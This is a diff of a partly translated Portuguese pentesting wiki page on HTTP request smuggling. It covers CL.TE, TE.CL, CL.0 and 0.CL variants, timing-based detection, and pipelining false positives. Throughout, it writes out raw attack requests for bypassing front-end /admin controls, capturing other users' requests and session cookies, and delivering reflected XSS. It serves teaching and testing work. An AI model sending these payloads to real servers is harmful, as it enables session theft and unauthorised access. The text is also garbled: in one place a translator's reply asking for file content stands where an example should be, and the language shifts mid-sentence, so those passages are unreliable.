- O atacante envia uma request onde o valor do header `Content-Length` não corresponde ao comprimento real do conteúdo.
|
||||
- O servidor front-end encaminha a request inteira para o back-end, com base no valor de `Content-Length`.
|
||||
- O servidor back-end processa a request como chunked devido ao header `Transfer-Encoding: chunked`, interpretando os dados restantes como uma request subsequente separada.
|
||||
- **Exemplo:**
|
||||
|
||||
```
|
||||
@ -74,15 +91,15 @@ GET /404 HTTP/1.1
|
||||
Foo: x
|
||||
```
|
||||
|
||||
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||
#### TE.CL Vulnerability (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)
|
||||
|
||||
- **Front-End (TE):** Processa o request com base no header `Transfer-Encoding`.
|
||||
- **Back-End (CL):** Processa o request com base no header `Content-Length`.
|
||||
- **Cenário de Ataque:**
|
||||
- **Front-End (TE):** Processa a request com base no header `Transfer-Encoding`.
|
||||
- **Back-End (CL):** Processa a request com base no header `Content-Length`.
|
||||
- **Cenário de ataque:**
|
||||
|
||||
- O attacker envia um request chunked onde o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não coincidem.
|
||||
- O front-end, honrando o `Transfer-Encoding`, encaminha o request inteiro para o back-end.
|
||||
- O back-end, respeitando o `Content-Length`, processa apenas a parte inicial do request (`7b` bytes), deixando o restante como parte de um request subsequente não intencional.
|
||||
- O atacante envia uma request chunked onde o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não coincidem.
|
||||
- O front-end, respeitando `Transfer-Encoding`, encaminha a request inteira para o back-end.
|
||||
- O back-end, respeitando `Content-Length`, processa apenas a parte inicial da request (os `7b` bytes), deixando o restante como parte de uma request subsequente não intencional.
|
||||
- **Exemplo:**
|
||||
|
||||
```
|
||||
@ -103,14 +120,14 @@ x=
|
||||
|
||||
```
|
||||
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
#### TE.TE Vulnerability (Transfer-Encoding usado por ambos, com obfuscação)
|
||||
|
||||
- **Servers:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado a ignorá-lo via obfuscação.
|
||||
- **Cenário de Ataque:**
|
||||
- **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado a ignorá-lo via obfuscação.
|
||||
- **Cenário de ataque:**
|
||||
|
||||
- O attacker envia um request com headers `Transfer-Encoding` obfuscados.
|
||||
- Dependendo de qual servidor (front-end ou back-end) não reconhece a obfuscação, pode ser explorada uma vulnerabilidade CL.TE ou TE.CL.
|
||||
- A parte não processada do request, como vista por um dos servidores, torna-se parte de um request subsequente, levando ao smuggling.
|
||||
- O atacante envia uma request com headers `Transfer-Encoding` obfuscados.
|
||||
- Dependendo de qual servidor (front-end ou back-end) falhar ao reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
|
||||
- A parte não processada da request, como vista por um dos servidores, torna-se parte de uma request subsequente, levando ao smuggling.
|
||||
- **Exemplo:**
|
||||
|
||||
```
|
||||
@ -130,10 +147,10 @@ Transfer-Encoding
|
||||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||
#### **CL.CL Scenario (Content-Length usado por ambos Front-End e Back-End)**
|
||||
|
||||
- Ambos os servidores processam o request com base exclusivamente no header `Content-Length`.
|
||||
- Este cenário tipicamente não leva a smuggling, já que há alinhamento em como ambos interpretam o comprimento do request.
|
||||
- Ambos os servidores processam a request baseados exclusivamente no header `Content-Length`.
|
||||
- Este cenário tipicamente não leva ao smuggling, pois há alinhamento em como ambos interpretam o comprimento da request.
|
||||
- **Exemplo:**
|
||||
|
||||
```
|
||||
@ -147,8 +164,8 @@ Normal Request
|
||||
|
||||
#### **CL.0 Scenario**
|
||||
|
||||
- Refere-se a cenários onde o header `Content-Length` está presente e possui um valor diferente de zero, indicando que o body do request tem conteúdo. O back-end ignora o header `Content-Length` (tratado como 0), mas o front-end o parseia.
|
||||
- É crucial para entender e criar ataques de smuggling, pois influencia como os servidores determinam o fim de um request.
|
||||
- Refere-se a cenários onde o header `Content-Length` está presente e tem um valor diferente de zero, indicando que o body da request tem conteúdo. O back-end ignora o header `Content-Length` (que é tratado como 0), mas o front-end o analisa.
|
||||
- É crucial para entender e construir ataques de smuggling, já que influencia como os servidores determinam o fim de uma request.
|
||||
- **Exemplo:**
|
||||
|
||||
```
|
||||
@ -162,7 +179,7 @@ Non-Empty Body
|
||||
|
||||
#### TE.0 Scenario
|
||||
|
||||
- Igual ao anterior, mas usando TE.
|
||||
- Igual ao anterior, mas usando TE
|
||||
- Técnica [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Example**:
|
||||
```
|
||||
@ -182,15 +199,39 @@ x: X
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### `0.CL` Cenário
|
||||
|
||||
Em um cenário `0.CL`, uma requisição é enviada com um Content-Length como:
|
||||
```
|
||||
GET /Logon HTTP/1.1
|
||||
Host: <redacted>
|
||||
Content-Length:
|
||||
7
|
||||
|
||||
GET /404 HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
E o front-end não leva o `Content-Length` em conta, então ele envia apenas a primeira request para o backend (até o 7 no exemplo). No entanto, o backend vê o `Content-Length` e espera por um body que nunca chega, porque o front-end já está aguardando pela response.
|
||||
|
||||
Porém, se existir uma request que possa ser enviada ao backend e que seja respondida antes de receber o body da request, esse deadlock não ocorrerá. No IIS, por exemplo, isso acontece ao enviar requests para palavras proibidas como `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), dessa forma a request inicial será respondida diretamente e a segunda request conterá a request da vítima como:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
X: yGET /victim HTTP/1.1
|
||||
Host: <redacted>
|
||||
```
|
||||
Isso é útil para causar um desync, mas não terá qualquer impacto até agora.
|
||||
|
||||
However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
|
||||
|
||||
#### Quebrando o servidor web
|
||||
|
||||
Esta técnica também é útil em cenários onde é possível **quebrar um servidor web enquanto lê os dados HTTP iniciais** mas **sem fechar a conexão**. Desta forma, o **body** da requisição HTTP será considerado a **próxima requisição HTTP**.
|
||||
Esta técnica também é útil em cenários onde é possível **break a web server while reading the initial HTTP data** mas **without closing the connection**. Dessa forma, o **body** of the HTTP request será considerado a **next HTTP request**.
|
||||
|
||||
Por exemplo, como explicado em [**este writeup**](https://mizu.re/post/twisty-python), no Werkzeug era possível enviar alguns caracteres **Unicode** e isso faria o servidor **quebrar**. Entretanto, se a conexão HTTP foi criada com o header **`Connection: keep-alive`**, o body da requisição não será lido e a conexão permanecerá aberta, então o **body** da requisição será tratado como a **próxima requisição HTTP**.
|
||||
Por exemplo, como explicado em [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug era possível enviar alguns **Unicode** characters e isso fará o servidor **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.
|
||||
|
||||
#### Forçando via hop-by-hop headers
|
||||
|
||||
Abusando de hop-by-hop headers, você pode instruir o proxy a **remover o header Content-Length ou Transfer-Encoding, permitindo que um HTTP request smuggling seja explorado**.
|
||||
Abusando de hop-by-hop headers você poderia indicar ao proxy para **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
@ -201,15 +242,15 @@ Para **mais informações sobre hop-by-hop headers** visite:
|
||||
../abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## Encontrando HTTP Request Smuggling
|
||||
## Finding HTTP Request Smuggling
|
||||
|
||||
Identificar vulnerabilidades de HTTP request smuggling pode frequentemente ser feito usando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a requisições manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
|
||||
Identificar vulnerabilidades de HTTP request smuggling frequentemente pode ser feito usando técnicas de temporização, que dependem de observar quanto tempo o servidor demora a responder a requisições manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
|
||||
|
||||
### Encontrando vulnerabilidades CL.TE usando técnicas de temporização
|
||||
### Finding CL.TE Vulnerabilities Using Timing Techniques
|
||||
|
||||
- **Método:**
|
||||
|
||||
- Envie uma requisição que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
|
||||
- Envie uma requisição que, se a aplicação for vulnerável, fará o servidor back-end esperar por dados adicionais.
|
||||
- **Exemplo:**
|
||||
|
||||
```
|
||||
@ -226,17 +267,17 @@ A
|
||||
|
||||
- **Observação:**
|
||||
- O servidor front-end processa a requisição com base em `Content-Length` e corta a mensagem prematuramente.
|
||||
- O servidor back-end, esperando uma mensagem chunked, aguarda o próximo chunk que nunca chega, causando um atraso.
|
||||
- O servidor back-end, esperando uma mensagem chunked, aguarda pelo próximo chunk que nunca chega, causando um atraso.
|
||||
|
||||
- **Indicadores:**
|
||||
- Timeouts ou atrasos longos na resposta.
|
||||
- Receber um erro 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor.
|
||||
- Time-outs ou longos atrasos na resposta.
|
||||
- Receber um 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor.
|
||||
|
||||
### Encontrando vulnerabilidades TE.CL usando técnicas de temporização
|
||||
### Finding TE.CL Vulnerabilities Using Timing Techniques
|
||||
|
||||
- **Método:**
|
||||
|
||||
- Envie uma requisição que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
|
||||
- Envie uma requisição que, se a aplicação for vulnerável, fará o servidor back-end esperar por dados adicionais.
|
||||
- **Exemplo:**
|
||||
|
||||
```
|
||||
@ -252,40 +293,48 @@ X
|
||||
|
||||
- **Observação:**
|
||||
- O servidor front-end processa a requisição com base em `Transfer-Encoding` e encaminha a mensagem inteira.
|
||||
- O servidor back-end, esperando uma mensagem baseada em `Content-Length`, aguarda dados adicionais que nunca chegam, causando um atraso.
|
||||
- O servidor back-end, esperando uma mensagem baseada em `Content-Length`, aguarda por dados adicionais que nunca chegam, causando um atraso.
|
||||
|
||||
### Outros métodos para encontrar vulnerabilidades
|
||||
### Other Methods to Find Vulnerabilities
|
||||
|
||||
- **Análise de Resposta Diferencial:**
|
||||
- Envie versões levemente diferentes de uma requisição e observe se as respostas do servidor diferem de forma inesperada, indicando uma discrepância de parsing.
|
||||
- **Uso de Ferramentas Automatizadas:**
|
||||
- **Differential Response Analysis:**
|
||||
- Envie versões ligeiramente variadas de uma requisição e observe se as respostas do servidor diferem de forma inesperada, indicando uma discrepância de parsing.
|
||||
- **Using Automated Tools:**
|
||||
- Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de requisições ambíguas e analisando as respostas.
|
||||
- **Testes de variação de Content-Length:**
|
||||
- Envie requisições com valores de `Content-Length` variados que não correspondem ao comprimento real do conteúdo e observe como o servidor lida com tais discrepâncias.
|
||||
- **Testes de variação de Transfer-Encoding:**
|
||||
- Envie requisições com cabeçalhos `Transfer-Encoding` ofuscados ou malformados e monitore como front-end e back-end respondem de maneira diferente a tais manipulações.
|
||||
- **Content-Length Variance Tests:**
|
||||
- Envie requisições com valores de `Content-Length` variando e que não correspondem ao tamanho real do conteúdo e observe como o servidor lida com essas discrepâncias.
|
||||
- **Transfer-Encoding Variance Tests:**
|
||||
- Envie requisições com cabeçalhos `Transfer-Encoding` ofuscados ou malformados e monitore como front-end e back-end respondem de maneira diferente a essas manipulações.
|
||||
|
||||
### Teste de vulnerabilidade de HTTP Request Smuggling
|
||||
### The `Expect: 100-continue` header
|
||||
|
||||
Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as requisições do cliente podem ser manipuladas. Um método simples é tentar poisoning suas requisições, por exemplo, fazendo com que uma requisição para `/` retorne um 404. Os exemplos CL.TE e TE.CL discutidos anteriormente em [Basic Examples](#basic-examples) demonstram como poisonar a requisição de um cliente para provocar uma resposta 404, apesar do cliente tentar acessar um recurso diferente.
|
||||
Veja como esse header pode ajudar a explorar um http desync em:
|
||||
|
||||
Considerações-chave
|
||||
{{#ref}}
|
||||
../special-http-headers.md
|
||||
{{#endref}}
|
||||
|
||||
### HTTP Request Smuggling Vulnerability Testing
|
||||
|
||||
Após confirmar a efetividade das técnicas de temporização, é crucial verificar se requisições de clientes podem ser manipuladas. Um método simples é tentar envenenar suas requisições, por exemplo, fazer uma requisição a `/` retornar um 404. Os exemplos `CL.TE` e `TE.CL` discutidos anteriormente em [Basic Examples](#basic-examples) demonstram como envenenar a requisição de um cliente para provocar um 404, apesar de o cliente tentar acessar um recurso diferente.
|
||||
|
||||
**Key Considerations**
|
||||
|
||||
Ao testar request smuggling interferindo em outras requisições, tenha em mente:
|
||||
|
||||
- **Conexões de Rede distintas:** As requisições "attack" e "normal" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
|
||||
- **URL e parâmetros consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as requisições. Aplicações modernas frequentemente roteiam requisições para servidores back-end específicos com base na URL e parâmetros. Igualá-los aumenta a probabilidade de ambas as requisições serem processadas pelo mesmo servidor, pré-requisito para um ataque bem-sucedido.
|
||||
- **Tempos e condições de corrida:** A requisição "normal", destinada a detectar interferência da requisição "attack", compete com outras requisições concorrentes da aplicação. Portanto, envie a requisição "normal" imediatamente após a requisição "attack". Aplicações ocupadas podem exigir múltiplas tentativas para confirmação conclusiva da vulnerabilidade.
|
||||
- **Desafios de balanceamento de carga:** Servidores front-end atuando como load balancers podem distribuir requisições por diversos sistemas back-end. Se as requisições "attack" e "normal" acabarem em sistemas diferentes, o ataque não terá sucesso. Esse aspecto de load balancing pode requerer várias tentativas para confirmar uma vulnerabilidade.
|
||||
- **Impacto não intencional em usuários:** Se seu ataque impactar involuntariamente a requisição de outro usuário (não a requisição "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário da aplicação. Testes contínuos podem interromper outros usuários, exigindo uma abordagem cautelosa.
|
||||
- **Distinct Network Connections:** As requisições "attack" e "normal" devem ser enviadas por conexões de rede distintas. Usar a mesma conexão para ambas não valida a presença da vulnerabilidade.
|
||||
- **Consistent URL and Parameters:** Procure usar URLs idênticas e os mesmos nomes de parâmetros para ambas as requisições. Aplicações modernas frequentemente roteiam requisições para servidores back-end específicos com base na URL e nos parâmetros. Casá-las aumenta a probabilidade de que ambas sejam processadas pelo mesmo servidor, requisito para um ataque bem-sucedido.
|
||||
- **Timing and Racing Conditions:** A requisição "normal", destinada a detectar interferência da requisição "attack", compete com outras requisições concorrentes da aplicação. Portanto, envie a requisição "normal" imediatamente após a "attack". Aplicações muito ocupadas podem exigir várias tentativas para confirmação conclusiva da vulnerabilidade.
|
||||
- **Load Balancing Challenges:** Servidores front-end atuando como load balancers podem distribuir requisições entre vários sistemas back-end. Se as requisições "attack" e "normal" caírem em sistemas diferentes, o ataque não terá sucesso. Esse aspecto de balanceamento pode exigir várias tentativas para confirmar uma vulnerabilidade.
|
||||
- **Unintended User Impact:** Se seu ataque afetar inadvertidamente a requisição de outro usuário (não a requisição "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário da aplicação. Testes contínuos podem atrapalhar outros usuários, exigindo uma abordagem cautelosa.
|
||||
|
||||
## Distinguir artefatos de pipelining do HTTP/1.1 vs request smuggling genuíno
|
||||
## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
|
||||
|
||||
Connection reuse (keep-alive) e pipelining podem facilmente produzir ilusões de "smuggling" em ferramentas de teste que enviam múltiplas requisições no mesmo socket. Aprenda a separar artefatos inofensivos do lado do cliente de um desync real do lado do servidor.
|
||||
Connection reuse (keep-alive) e pipelining podem facilmente produzir ilusões de "smuggling" em ferramentas de teste que enviam múltiplas requisições no mesmo socket. Aprenda a separar artefatos inofensivos do lado do cliente de um real desync do lado do servidor.
|
||||
|
||||
### Por que o pipelining cria falsos positivos clássicos
|
||||
### Why pipelining creates classic false positives
|
||||
|
||||
HTTP/1.1 reutiliza uma única conexão TCP/TLS e concatena requisições e respostas no mesmo fluxo. No pipelining, o cliente envia múltiplas requisições sequenciais e depende de respostas na mesma ordem. Um falso-positivo comum é reenviar um payload malformado no estilo CL.0 duas vezes em uma única conexão:
|
||||
HTTP/1.1 reutiliza uma única conexão TCP/TLS e concatena requisições e respostas no mesmo stream. No pipelining, o cliente envia múltiplas requisições seguidas e espera respostas em ordem. Um falso positivo comum é reenviar um payload malformado no estilo CL.0 duas vezes em uma única conexão:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -294,7 +343,7 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Por favor envie o conteúdo do arquivo src/pentesting-web/http-request-smuggling/README.md que deseja traduzir (cole o texto aqui).
|
||||
Por favor cole aqui o conteúdo do arquivo src/pentesting-web/http-request-smuggling/README.md que você quer que eu traduza para português. Vou manter exatamente a mesma sintaxe Markdown/HTML e não traduzirei código, nomes de técnicas, palavras comuns de hacking, plataformas cloud, links, paths ou tags.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -308,7 +357,7 @@ Content-Type: text/plain
|
||||
User-agent: *
|
||||
Disallow: /settings
|
||||
```
|
||||
Se o servidor ignorou o malformado `Content_Length`, não há desync FE↔BE. Com reuse, seu cliente na verdade enviou este byte-stream, que o servidor interpretou como duas requisições independentes:
|
||||
Se o servidor ignorou o `Content_Length` malformado, não há FE↔BE desync. Com reuso, seu cliente na verdade enviou este fluxo de bytes, que o servidor interpretou como duas requisições independentes:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -322,12 +371,12 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Impacto: nenhum. Você apenas desynced seu cliente do enquadramento do servidor.
|
||||
Impacto: nenhum. Você apenas desincronizou seu cliente do framing do servidor.
|
||||
|
||||
> [!TIP]
|
||||
> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
|
||||
|
||||
### Litmus tests: pipelining or real desync?
|
||||
### Testes decisivos: pipelining ou desync real?
|
||||
|
||||
1. Disable reuse and re-test
|
||||
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
|
||||
@ -383,7 +432,7 @@ browser-http-request-smuggling.md
|
||||
- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
|
||||
|
||||
> [!NOTE]
|
||||
> Trate efeitos apenas por reuse como não-problemas a menos que você possa provar server-side desync e anexar impacto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
|
||||
> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
|
||||
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
@ -393,7 +442,7 @@ Sometimes, front-end proxies enforce security measures, scrutinizing incoming re
|
||||
|
||||
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
|
||||
|
||||
**CL.TE Example**
|
||||
**CL.TE Exemplo**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -410,9 +459,9 @@ Content-Length: 10
|
||||
|
||||
x=
|
||||
```
|
||||
No ataque CL.TE, o cabeçalho `Content-Length` é utilizado para a requisição inicial, enquanto a requisição embutida subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy front-end processa a requisição `POST` inicial, mas não inspeciona a requisição embutida `GET /admin`, permitindo acesso não autorizado ao caminho `/admin`.
|
||||
No ataque CL.TE, o cabeçalho `Content-Length` é aproveitado para a requisição inicial, enquanto a requisição embutida subsequente utiliza o cabeçalho `Transfer-Encoding: chunked`. O proxy front-end processa a requisição `POST` inicial, mas não inspeciona a requisição embutida `GET /admin`, permitindo acesso não autorizado ao caminho `/admin`.
|
||||
|
||||
**TE.CL Exemplo**
|
||||
**TE.CL Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -428,13 +477,13 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
Por outro lado, no ataque TE.CL, a requisição inicial `POST` usa `Transfer-Encoding: chunked`, e a requisição embutida subsequente é processada com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o front-end proxy ignora a requisição `GET /admin` injetada, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
|
||||
Por outro lado, no ataque TE.CL, o `POST` inicial usa `Transfer-Encoding: chunked`, e a request embutida subsequente é processada com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy front-end ignora a requisição smuggled `GET /admin`, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
|
||||
|
||||
### Revelando reescrita de requisições no front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Revelando reescrita de requests do front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
As aplicações frequentemente empregam um **front-end server** para modificar requisições de entrada antes de encaminhá-las ao back-end server. Uma modificação típica envolve adicionar cabeçalhos, como `X-Forwarded-For: <IP of the client>`, para repassar o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar formas de **contornar proteções** ou **descobrir informações ou endpoints ocultos**.
|
||||
As aplicações frequentemente empregam um **front-end server** para modificar incoming requests antes de repassá-las ao **back-end server**. Uma modificação típica envolve adicionar headers, tais como `X-Forwarded-For: <IP of the client>`, para transmitir o IP do cliente ao back-end. Entender essas modificações pode ser crucial, pois pode revelar formas de **bypass protections** ou **descobrir informações ou endpoints ocultos**.
|
||||
|
||||
Para investigar como um proxy altera uma requisição, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, construa uma requisição, usando esse parâmetro por último, semelhante à seguinte:
|
||||
Para investigar como um proxy altera uma request, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, construa uma request, usando esse parâmetro por último, semelhante ao seguinte:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -451,19 +500,19 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
Nesta estrutura, componentes subsequentes da requisição são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da requisição subsequente.
|
||||
Nesta estrutura, componentes subsequentes do request são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão irá expor os headers do request subsequente.
|
||||
|
||||
É importante alinhar o cabeçalho `Content-Length` da requisição aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e incrementá-lo gradualmente é recomendável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a requisição gere um erro.
|
||||
É importante alinhar o header `Content-Length` do request aninhado com o comprimento real do conteúdo. Começar com um valor pequeno e aumentá-lo gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que o request gere erro.
|
||||
|
||||
Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a requisição deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro `search`.
|
||||
Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas o request deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro `search`.
|
||||
|
||||
Este método serve principalmente para entender as modificações da requisição feitas pelo front-end proxy, essencialmente realizando uma investigação autodirigida.
|
||||
Esse método serve principalmente para entender as modificações do request feitas pelo proxy de front-end, essencialmente realizando uma investigação autodirigida.
|
||||
|
||||
### Capturando requisições de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
### Capturando as requests de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
É viável capturar as requisições do próximo usuário anexando uma requisição específica como valor de um parâmetro durante uma operação POST. Eis como isso pode ser realizado:
|
||||
É possível capturar as requests do próximo usuário anexando uma request específica como valor de um parâmetro durante uma operação POST. Veja como isso pode ser feito:
|
||||
|
||||
Ao anexar a seguinte requisição como valor de um parâmetro, você pode armazenar a requisição do cliente subsequente:
|
||||
Anexando a seguinte request como valor de um parâmetro, você pode armazenar a request do cliente subsequente:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
@ -483,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
Neste cenário, o **comment parameter** destina-se a armazenar o conteúdo da seção de comentários de um post em uma página publicamente acessível. Consequentemente, o conteúdo da requisição subsequente aparecerá como um comentário.
|
||||
Neste cenário, o **parâmetro comment** destina-se a armazenar o conteúdo da seção de comentários de um post em uma página publicamente acessível. Consequentemente, o conteúdo da requisição subsequente aparecerá como um comentário.
|
||||
|
||||
No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na requisição smuggled. Para submissões de formulário URL-encoded, esse delimitador é o caractere `&`. Isso significa que o conteúdo capturado da requisição do usuário vítima irá parar no primeiro `&`, que pode até fazer parte da query string.
|
||||
No entanto, esta técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na requisição smuggled. Para envios de formulário URL-encoded, esse delimitador é o caractere `&`. Isso significa que o conteúdo capturado da requisição do usuário vítima vai parar no primeiro `&`, que pode até fazer parte da query string.
|
||||
|
||||
Além disso, vale notar que essa abordagem também é viável com uma TE.CL vulnerability. Nesses casos, a requisição deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão adicionados ao parâmetro search.
|
||||
Além disso, vale notar que esta abordagem também é viável com uma vulnerabilidade TE.CL. Nesses casos, a requisição deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro search.
|
||||
|
||||
### Usando HTTP request smuggling para explorar Reflected XSS
|
||||
|
||||
HTTP Request Smuggling pode ser aproveitado para explorar páginas web vulneráveis a **Reflected XSS**, oferecendo vantagens significativas:
|
||||
|
||||
- A interação com os usuários-alvo **não é necessária**.
|
||||
- A interação com os usuários alvo **não é necessária**.
|
||||
- Permite a exploração de XSS em partes da requisição que são **normalmente inalcançáveis**, como os headers da requisição HTTP.
|
||||
|
||||
Em cenários onde um site é suscetível a Reflected XSS através do User-Agent header, o payload a seguir demonstra como explorar essa vulnerabilidade:
|
||||
Em cenários onde um site é suscetível a Reflected XSS através do header User-Agent, o seguinte payload demonstra como explorar essa vulnerabilidade:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
@ -519,24 +568,24 @@ A=
|
||||
```
|
||||
Este payload é estruturado para explorar a vulnerabilidade da seguinte forma:
|
||||
|
||||
1. Iniciando uma requisição `POST`, aparentemente típica, com o header `Transfer-Encoding: chunked` para indicar o início do smuggling.
|
||||
2. Seguido por um `0`, marcando o fim do corpo da mensagem chunked.
|
||||
3. Em seguida, uma requisição `GET` smuggled é introduzida, onde o header `User-Agent` é injetado com um script, `<script>alert(1)</script>`, disparando o XSS quando o servidor processa essa requisição subsequente.
|
||||
1. Iniciando uma requisição `POST`, aparentemente típica, com o cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling.
|
||||
2. Em seguida com um `0`, marcando o fim do corpo da mensagem chunked.
|
||||
3. Então, uma requisição `GET` smuggled é inserida, onde o cabeçalho `User-Agent` é injetado com um script, `<script>alert(1)</script>`, disparando o XSS quando o servidor processa essa requisição subsequente.
|
||||
|
||||
Ao manipular o header `User-Agent` através do smuggling, o payload contorna as restrições normais de requisição, explorando assim a vulnerabilidade Reflected XSS de uma forma não convencional, mas eficaz.
|
||||
Ao manipular o `User-Agent` via smuggling, o payload contorna as restrições normais de requisição, explorando assim a vulnerabilidade Reflected XSS de maneira não convencional, mas eficaz.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> Caso o conteúdo do usuário seja refletido em uma resposta com um **`Content-type`** como **`text/plain`**, impedindo a execução do XSS. Se o servidor suportar **HTTP/0.9 pode ser possível contornar isso**!
|
||||
|
||||
A versão HTTP/0.9 precedeu o 1.0 e usa apenas o verbo **GET** e **não** responde com **headers**, apenas com o corpo.
|
||||
A versão HTTP/0.9 precedeu a 1.0 e usa apenas o verbo **GET** e **não** responde com **headers**, apenas com o corpo.
|
||||
|
||||
